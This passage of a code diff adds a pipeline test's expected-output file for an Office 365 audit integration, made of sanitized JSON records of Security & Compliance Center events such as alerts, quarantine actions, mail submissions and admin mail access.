"2022-12-31T23:59:59", + "InsightData": [ + { + "Type": "None" + } + ], + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": 4 + } + }, + { + "event": { + "original": "{\"UserKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Activity\":\"\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AirAdminActionInvestigationData\",\"InvestigationUrn\":\"None\",\"Workload\":\"SecurityComplianceCenter\",\"AirAdminActionSource\":\"3\",\"Submitter\":\"account@example.com\",\"RecordType\":\"89\",\"UserId\":\"account@example.com\",\"SubAirAdminActionTypeMail\":\"6\",\"AirAdminActionType\":\"1\",\"CreationTime\":\"2022-12-31T23:59:59\",\"Approver\":\"account@example.com\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"2\",\"BulkApprovalId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"}" + }, + "o365audit": { + "UserKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Activity": "", + "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Operation": "AirAdminActionInvestigationData", + "InvestigationUrn": "None", + "Workload": "SecurityComplianceCenter", + "AirAdminActionSource": "3", + "Submitter": "account@example.com", + "RecordType": 89, + "UserId": "account@example.com", + "SubAirAdminActionTypeMail": "6", + "AirAdminActionType": "1", + "CreationTime": "2022-12-31T23:59:59", + "Approver": "account@example.com", + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": 2, + "BulkApprovalId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + } + } + ] +} \ No newline at end of file diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-securitycompliancecenter.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-securitycompliancecenter.json-expected.json new file mode 100644 index 00000000000..024d7d04b07 --- /dev/null +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-securitycompliancecenter.json-expected.json @@ -0,0 +1,701 @@ +{ + "expected": [ + { + "@timestamp": "2024-12-31T23:59:59.000Z", + "ecs": { + "version": "8.11.0" + }, + "event": { + "action": "AlertTriggered", + "category": [ + "web" + ], + "code": "SecurityComplianceAlerts", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "kind": "alert", + "original": "{\"Status\":\"Active\",\"Category\":\"ThreatManagement\",\"ResultStatus\":\"Succeeded\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Comments\":\"New alert\",\"UserKey\":\"SecurityComplianceAlerts\",\"AlertLinks\":[{\"AlertLinkHref\":\"http://example.net/alert\"}],\"Severity\":\"Informational\",\"Data\":\"{\\\"f3u\\\":\\\"user@example.com\\\",\\\"etq\\\":\\\"0\\\",\\\"ts\\\":\\\"2024-12-31T23:59:59.0000000Z\\\",\\\"te\\\":\\\"2024-12-31T23:59:59.0000000Z\\\",\\\"op\\\":\\\"QuarantineRequestReleaseMessage\\\",\\\"wl\\\":\\\"Quarantine\\\",\\\"tid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"tdc\\\":\\\"1\\\",\\\"reid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"wsrt\\\":\\\"2024-12-31T23:59:59\\\",\\\"mdt\\\":\\\"Audit\\\",\\\"rid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"cid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"ad\\\":\\\"A user has requested to release an email from quarantine. -V1.0.0.1\\\",\\\"lon\\\":\\\"QuarantineRequestReleaseMessage\\\",\\\"an\\\":\\\"User requested to release a quarantined message\\\",\\\"sev\\\":\\\"Informational\\\"}\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AlertTriggered\",\"Source\":\"Office 365 Security & Compliance\",\"Name\":\"User requested to release a quarantined message\",\"Workload\":\"SecurityComplianceCenter\",\"AlertType\":\"System\",\"AlertId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"RecordType\":\"40\",\"Version\":\"1\",\"UserId\":\"SecurityComplianceAlerts\",\"CreationTime\":\"2024-12-31T23:59:59\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"4\",\"PolicyId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"}", + "outcome": "success", + "provider": "SecurityComplianceCenter", + "type": [ + "info" + ] + }, + "host": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "message": "New alert", + "o365": { + "audit": { + "AlertId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "AlertType": "System", + "CreationTime": "2024-12-31T23:59:59", + "Data": { + "ad": "A user has requested to release an email from quarantine. -V1.0.0.1", + "an": "User requested to release a quarantined message", + "cid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "f3u": "user@example.com", + "flattened": { + "ad": "A user has requested to release an email from quarantine. -V1.0.0.1", + "an": "User requested to release a quarantined message", + "cid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "etq": "0", + "f3u": "user@example.com", + "lon": "QuarantineRequestReleaseMessage", + "mdt": "Audit", + "op": "QuarantineRequestReleaseMessage", + "reid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "rid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "sev": "Informational", + "tdc": "1", + "te": "2024-12-31T23:59:59.0000000Z", + "tid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ts": "2024-12-31T23:59:59.0000000Z", + "wl": "Quarantine", + "wsrt": "2024-12-31T23:59:59" + }, + "lon": "QuarantineRequestReleaseMessage", + "op": "QuarantineRequestReleaseMessage", + "reid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "rid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "sev": "Informational", + "tdc": "1", + "te": "2024-12-31T23:59:59.000Z", + "tid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ts": "2024-12-31T23:59:59.000Z", + "wl": "Quarantine" + }, + "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "RecordType": "40", + "ResultStatus": "Succeeded", + "Severity": "Informational", + "Source": "Office 365 Security & Compliance", + "Status": "Active", + "UserId": "SecurityComplianceAlerts", + "UserKey": "SecurityComplianceAlerts", + "UserType": "4", + "Version": "1" + } + }, + "organization": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "related": { + "user": [ + "user@example.com" + ] + }, + "rule": { + "category": "ThreatManagement", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "name": "User requested to release a quarantined message", + "reference": [ + "http://example.net/alert" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "email": "user@example.com", + "id": "SecurityComplianceAlerts" + } + }, + { + "@timestamp": "2022-12-31T23:59:59.000Z", + "ecs": { + "version": "8.11.0" + }, + "email": { + "local_id": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ], + "message_id": [ + "" + ], + "sender": { + "address": [ + "sender@example.com" + ] + }, + "subject": [ + "subject" + ], + "to": { + "address": [ + "user@example.com" + ] + } + }, + "event": { + "action": "AlertEntityGenerated", + "category": [ + "web" + ], + "code": "SecurityComplianceAlerts", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "kind": "alert", + "original": "{\"Status\":\"Investigating\",\"Category\":\"ThreatManagement\",\"ResultStatus\":\"Succeeded\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2\",\"Comments\":\"New alert\",\"UserKey\":\"SecurityComplianceAlerts\",\"Data\":\"{\\\"etype\\\":\\\"MalwareFamily\\\",\\\"at\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"md\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"sip\\\":\\\"81.2.69.144\\\",\\\"ms\\\":\\\"subject\\\",\\\"imsgid\\\":\\\"\\\",\\\"ttdt\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"ttr\\\":\\\"Success_MessageQuarantined\\\",\\\"dm\\\":\\\"FileHashList\\\",\\\"eid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2\\\",\\\"aii\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"thn\\\":\\\"Spam,Phish,Malicious\\\",\\\"ts\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"te\\\":\\\"2022-12-31T23:59:59.0000000Z\\\",\\\"tpfv\\\":\\\"Block\\\",\\\"fvs\\\":\\\"Tenant\\\",\\\"tpfc\\\":\\\"ETR\\\",\\\"tpt\\\":\\\"HostedContentFilterPolicy\\\",\\\"tpvpid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"tpid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb2\\\",\\\"tid\\\":\\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\",\\\"tht\\\":\\\"Spam,Phish,Malicious\\\",\\\"trc\\\":\\\"user@example.com\\\",\\\"tsd\\\":\\\"sender@example.com\\\",\\\"zmfh\\\":\\\"a1b2c3d4e5f6g7h8i9jakblc\\\",\\\"zfh\\\":\\\"a1b2c3d4e5f6g7h8i9jakblc\\\",\\\"zmfn\\\":\\\"untitled.dat\\\",\\\"zfn\\\":\\\"untitled.dat\\\",\\\"tdc\\\":\\\"1\\\",\\\"cpid\\\":null,\\\"lon\\\":\\\"Protection\\\"}\",\"Severity\":\"Informational\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AlertEntityGenerated\",\"AlertEntityId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2\",\"Source\":\"Office 365 Security & Compliance\",\"Workload\":\"SecurityComplianceCenter\",\"Name\":\"Email messages containing malicious file removed after delivery\",\"EntityType\":\"MalwareFamily\",\"AlertType\":\"System\",\"AlertId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"RecordType\":\"40\",\"Version\":\"1\",\"UserId\":\"SecurityComplianceAlerts\",\"CreationTime\":\"2022-12-31T23:59:59\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"4\",\"PolicyId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"}", + "outcome": "success", + "provider": "SecurityComplianceCenter", + "type": [ + "info" + ] + }, + "host": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "message": "New alert", + "o365": { + "audit": { + "AlertId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "AlertType": "System", + "CreationTime": "2022-12-31T23:59:59", + "Data": { + "aii": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "at": "2022-12-31T23:59:59.000Z", + "dm": "FileHashList", + "eid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2", + "etype": "MalwareFamily", + "flattened": { + "aii": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "at": "2022-12-31T23:59:59.0000000Z", + "dm": "FileHashList", + "eid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2", + "etype": "MalwareFamily", + "fvs": "Tenant", + "imsgid": "", + "lon": "Protection", + "md": "2022-12-31T23:59:59.0000000Z", + "ms": "subject", + "sip": "81.2.69.144", + "tdc": "1", + "te": "2022-12-31T23:59:59.0000000Z", + "thn": "Spam,Phish,Malicious", + "tht": "Spam,Phish,Malicious", + "tid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "tpfc": "ETR", + "tpfv": "Block", + "tpid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb2", + "tpt": "HostedContentFilterPolicy", + "tpvpid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "trc": "user@example.com", + "ts": "2022-12-31T23:59:59.0000000Z", + "tsd": "sender@example.com", + "ttdt": "2022-12-31T23:59:59.0000000Z", + "ttr": "Success_MessageQuarantined", + "zfh": "a1b2c3d4e5f6g7h8i9jakblc", + "zfn": "untitled.dat", + "zmfh": "a1b2c3d4e5f6g7h8i9jakblc", + "zmfn": "untitled.dat" + }, + "fvs": "Tenant", + "imsgid": "", + "lon": "Protection", + "md": "2022-12-31T23:59:59.000Z", + "ms": "subject", + "sip": "81.2.69.144", + "tdc": "1", + "te": "2022-12-31T23:59:59.000Z", + "thn": "Spam,Phish,Malicious", + "tht": "Spam,Phish,Malicious", + "tid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "tpid": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb2", + "tpt": "HostedContentFilterPolicy", + "trc": "user@example.com", + "ts": "2022-12-31T23:59:59.000Z", + "tsd": "sender@example.com", + "ttdt": "2022-12-31T23:59:59.000Z", + "ttr": "Success_MessageQuarantined", + "zfh": "a1b2c3d4e5f6g7h8i9jakblc", + "zfn": "untitled.dat", + "zmfh": "a1b2c3d4e5f6g7h8i9jakblc", + "zmfn": "untitled.dat" + }, + "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2", + "RecordType": "40", + "ResultStatus": "Succeeded", + "Severity": "Informational", + "Source": "Office 365 Security & Compliance", + "Status": "Investigating", + "UserId": "SecurityComplianceAlerts", + "UserKey": "SecurityComplianceAlerts", + "UserType": "4", + "Version": "1" + } + }, + "organization": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "related": { + "user": [ + "sender@example.com", + "user@example.com" + ] + }, + "rule": { + "category": "ThreatManagement", + "description": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb-11111111111111111111-2", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "name": "Email messages containing malicious file removed after delivery", + "ruleset": "MalwareFamily" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "SecurityComplianceAlerts" + } + }, + { + "@timestamp": "2022-12-31T23:59:59.000Z", + "ecs": { + "version": "8.11.0" + }, + "event": { + "action": "Search", + "category": [ + "web" + ], + "code": "DataInsightsRestApiAudit", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "kind": "event", + "original": "{\"DatabaseType\":\"Directory\",\"UserKey\":\"1111111111111111\",\"ResultCount\":\"13\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"Search\",\"AadAppId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Workload\":\"SecurityComplianceCenter\",\"RecordType\":\"52\",\"Version\":\"1\",\"UserId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"CreationTime\":\"2022-12-31T23:59:59\",\"DataType\":\"TrialOfferEligibility\",\"RelativeUrl\":\"/DataInsights/DataInsightsService.svc/Find/TrialOfferEligibility?tenantid=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"0\"}", + "outcome": "success", + "provider": "SecurityComplianceCenter", + "type": [ + "info" + ] + }, + "host": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "o365": { + "audit": { + "AadAppId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "CreationTime": "2022-12-31T23:59:59", + "DataType": "TrialOfferEligibility", + "DatabaseType": "Directory", + "RecordType": "52", + "RelativeUrl": "/DataInsights/DataInsightsService.svc/Find/TrialOfferEligibility?tenantid=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ResultCount": "13", + "UserId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserKey": "1111111111111111", + "UserType": "0", + "Version": "1" + } + }, + "organization": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + } + }, + { + "@timestamp": "2022-12-31T23:59:59.000Z", + "ecs": { + "version": "8.11.0" + }, + "event": { + "action": "Search", + "category": [ + "web" + ], + "code": "DataInsightsRestApiAudit", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "kind": "event", + "original": "{\"DatabaseType\":\"Directory\",\"UserKey\":\"1111111111111111\",\"ResultCount\":\"13\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"Search\",\"AadAppId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Workload\":\"SecurityComplianceCenter\",\"RecordType\":\"52\",\"Version\":\"1\",\"UserId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"CreationTime\":\"2022-12-31T23:59:59\",\"DataType\":\"TrialOfferEligibility\",\"RelativeUrl\":\"/DataInsights/DataInsightsService.svc/Find/TrialOfferEligibility?tenantid=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"0\"}", + "outcome": "success", + "provider": "SecurityComplianceCenter", + "type": [ + "info" + ] + }, + "host": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "o365": { + "audit": { + "AadAppId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "CreationTime": "2022-12-31T23:59:59", + "DataType": "TrialOfferEligibility", + "DatabaseType": "Directory", + "RecordType": "52", + "RelativeUrl": "/DataInsights/DataInsightsService.svc/Find/TrialOfferEligibility?tenantid=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "ResultCount": "13", + "UserId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserKey": "1111111111111111", + "UserType": "0", + "Version": "1" + } + }, + "organization": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + } + }, + { + "@timestamp": "2022-12-31T23:59:59.000Z", + "ecs": { + "version": "8.11.0" + }, + "email": { + "message_id": [ + "" + ], + "sender": { + "address": [ + "sender@example.com" + ] + }, + "subject": [ + "subject" + ], + "to": { + "address": [ + "user@example.com" + ] + } + }, + "event": { + "action": "UserSubmission", + "category": [ + "web" + ], + "code": "MailSubmission", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "kind": "event", + "original": "{\"SenderIP\":\"81.2.69.144\",\"Recipients\":\"[user@example.com]\",\"SubmissionState\":\"Rescaned\",\"RescanResult\":{\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Timestamp\":\"2022-12-31T23:59:59\",\"RescanVerdict\":\"NotSpam\"},\"UserKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"UserSubmission\",\"P2Sender\":\"sender name \",\"ExtendedProperties\":[{\"Value\":\"1111111111111111\",\"Name\":\"KesMailId\"},{\"Value\":\"AAAAAAAA.BBBBBBBB.CCCCCCCC.DDDDDDDD.EEEEE\",\"Name\":\"FingerprintData\"},{\"Value\":\"Email\",\"Name\":\"SubmissionCategory\"},{\"Value\":\"NotSpam\",\"Name\":\"RescanVerdict\"},{\"Value\":\"Microsoft\",\"Name\":\"SubmissionSource\"},{\"Value\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Name\":\"SubmissionId\"},{\"Value\":\"Allow\",\"Name\":\"OriginalVerdict\"}],\"SubmissionConfidenceLevel\":\"1\",\"RecordType\":\"29\",\"SubmissionContentSubType\":\"MsftAndCustomMbxSubmission\",\"Language\":\"en\",\"Version\":\"1\",\"SubmitterId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"P1Sender\":\"sender@example.com\",\"P2SenderDomain\":\"example.com\",\"MessageDate\":\"2022-12-31T23:59:59\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"P1SenderDomain\":\"example.com\",\"Subject\":\"subject\",\"Workload\":\"SecurityComplianceCenter\",\"BCLValue\":\"0\",\"FilteringDate\":\"2022-12-31T23:59:59\",\"UserId\":\"user@example.com\",\"InternetMessageId\":\"\",\"KesMailId\":\"1111111111111111\",\"CreationTime\":\"2022-12-31T23:59:59\",\"SubmissionId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"SubmissionType\":\"0\",\"SubmissionContentType\":\"Mail\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"0\"}", + "outcome": "success", + "provider": "SecurityComplianceCenter", + "type": [ + "info" + ] + }, + "host": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "name": "example.com" + }, + "o365": { + "audit": { + "BCLValue": "0", + "CreationTime": "2022-12-31T23:59:59", + "ExtendedProperties": { + "FingerprintData": "AAAAAAAA.BBBBBBBB.CCCCCCCC.DDDDDDDD.EEEEE", + "KesMailId": "1111111111111111", + "OriginalVerdict": "Allow", + "RescanVerdict": "NotSpam", + "SubmissionCategory": "Email", + "SubmissionId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "SubmissionSource": "Microsoft" + }, + "FilteringDate": "2022-12-31T23:59:59.000Z", + "InternetMessageId": "", + "KesMailId": "1111111111111111", + "Language": "en", + "MessageDate": "2022-12-31T23:59:59", + "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "P1Sender": "sender@example.com", + "P1SenderDomain": "example.com", + "P2Sender": "sender name ", + "P2SenderDomain": "example.com", + "Recipients": [ + "user@example.com" + ], + "RecordType": "29", + "RescanResult": { + "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "RescanVerdict": "NotSpam", + "Timestamp": "2022-12-31T23:59:59.000Z" + }, + "SenderIP": "81.2.69.144", + "Subject": "subject", + "SubmissionConfidenceLevel": "1", + "SubmissionContentSubType": "MsftAndCustomMbxSubmission", + "SubmissionContentType": "Mail", + "SubmissionId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "SubmissionState": "Rescaned", + "SubmissionType": "0", + "SubmitterId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserId": "user@example.com", + "UserKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": "0", + "Version": "1" + } + }, + "organization": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "related": { + "ip": [ + "81.2.69.144" + ], + "user": [ + "user" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "example.com", + "email": "user@example.com", + "id": "user@example.com", + "name": "user" + } + }, + { + "@timestamp": "2022-12-31T23:59:59.000Z", + "ecs": { + "version": "8.11.0" + }, + "email": { + "local_id": [ + "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + ] + }, + "event": { + "action": "Get-QuarantineMessage", + "category": [ + "web" + ], + "code": "SecurityComplianceCenterEOPCmdlet", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "kind": "event", + "original": "{\"CmdletVersion\":\"1.2\",\"Parameters\":\"-Identity \\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\\dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ResultStatus\":\"Success\",\"UserKey\":\"account@example.com\",\"StartTime\":\"2022-12-31T23:59:59\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"Get-QuarantineMessage\",\"Workload\":\"SecurityComplianceCenter\",\"NonPIIParameters\":\"-Identity \\\"\\\"\",\"EffectiveOrganization\":\"example.com\",\"ClientApplication\":\"EMC\",\"UserServicePlan\":\"\",\"RecordType\":\"18\",\"Version\":\"1\",\"UserId\":\"account@example.com\",\"CreationTime\":\"2022-12-31T23:59:59\",\"SecurityComplianceCenterEventType\":\"0\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"2\"}", + "outcome": "success", + "provider": "SecurityComplianceCenter", + "type": [ + "info" + ] + }, + "host": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "name": "example.com" + }, + "o365": { + "audit": { + "ClientApplication": "EMC", + "CmdletVersion": "1.2", + "CreationTime": "2022-12-31T23:59:59", + "EffectiveOrganization": "example.com", + "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "NonPIIParameters": "-Identity \"\"", + "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "Parameters": { + "_raw": "-Identity \"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"" + }, + "RecordType": "18", + "ResultStatus": "Success", + "SecurityComplianceCenterEventType": "0", + "StartTime": "2022-12-31T23:59:59.000Z", + "UserId": "account@example.com", + "UserKey": "account@example.com", + "UserType": "2", + "Version": "1" + } + }, + "organization": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "related": { + "user": [ + "account" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "example.com", + "email": "account@example.com", + "id": "account@example.com", + "name": "account" + } + }, + { + "@timestamp": "2022-12-31T23:59:59.000Z", + "ecs": { + "version": "8.11.0" + }, + "event": { + "action": "AdminMailAccess", + "category": [ + "web" + ], + "code": "DataGovernance", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "kind": "event", + "original": "{\"ObjectType\":\"EMail\",\"RecordType\":\"38\",\"Version\":\"1\",\"UserId\":\"account@example.com\",\"UserKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"CreationTime\":\"2022-12-31T23:59:59\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AdminMailAccess\",\"UserType\":\"2\",\"ExtendedProperties\":[{\"Value\":\"True\",\"Name\":\"DownloadEMail\"},{\"Value\":\"user@example.com\",\"Name\":\"MailboxId\"},{\"Value\":\"%3Cbase64%40example.com%3E\",\"Name\":\"InternetMessageId\"}],\"Workload\":\"SecurityComplianceCenter\"}", + "outcome": "success", + "provider": "SecurityComplianceCenter", + "type": [ + "info" + ] + }, + "host": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "name": "example.com" + }, + "o365": { + "audit": { + "CreationTime": "2022-12-31T23:59:59", + "ExtendedProperties": { + "DownloadEMail": "True", + "InternetMessageId": "%3Cbase64%40example.com%3E", + "MailboxId": "user@example.com" + }, + "ObjectType": "EMail", + "RecordType": "38", + "UserId": "account@example.com", + "UserKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "UserType": "2", + "Version": "1" + } + }, + "organization": { + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb" + }, + "related": { + "user": [ + "account" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "example.com", + "email": "account@example.com", + "id": "account@example.com", + "name": "account" + } + }, + { + "@timestamp": "2022-12-31T23:59:59.000Z", + "ecs": { + "version": "8.11.0" + }, + "event": { + "action": "InsightGenerated", + "category": [ + "web" + ], + "code": "SecurityComplianceInsights", + "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb", + "kind": "event", + "original": "{\"AdditionalData\":[{\"Value\":\"5555\",\"Name\":\"InsightType\"}],\"Description\":\"X new remote domain(s) started receiving forwarded emails from your organization.\",\"Category\":\"MailFlow\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserKey\":\"SecurityComplianceInsights\",\"InsightId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Severity\":\"High\",\"Operation\":\"InsightGenerated\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Workload\":\"SecurityComplianceCenter\",\"Name\":\"New domains being forwarded emails\",\"RecordType\":\"42\",\"Version\":\"1\",\"UserId\":\"SecurityComplianceInsights\",\"CreationTime\":\"2022-12-31T23:59:59\",\"InsightData\":[{\"Type\":\"None\"}],\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"4\"}", + "outcome": "success", + "provider": "SecurityComplianceCenter", + "type": [ + "info" + ] + }, + "host": { + "id": 